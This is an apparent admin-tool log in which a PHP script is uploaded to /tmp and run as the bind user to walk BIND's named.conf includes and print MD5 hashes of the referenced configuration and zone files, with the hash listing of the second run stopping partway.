2026-04-30 17:35:24: 

PUT: /tmp/pkp528195

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:35:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp528195; rm /tmp/pkp528195'

2026-04-30 17:35:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:38:41: Establishing a connection
2026-04-30 17:38:41: 

PUT: /tmp/pkp898935

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:38:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp898935; rm /tmp/pkp898935'

2026-04-30 17:38:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
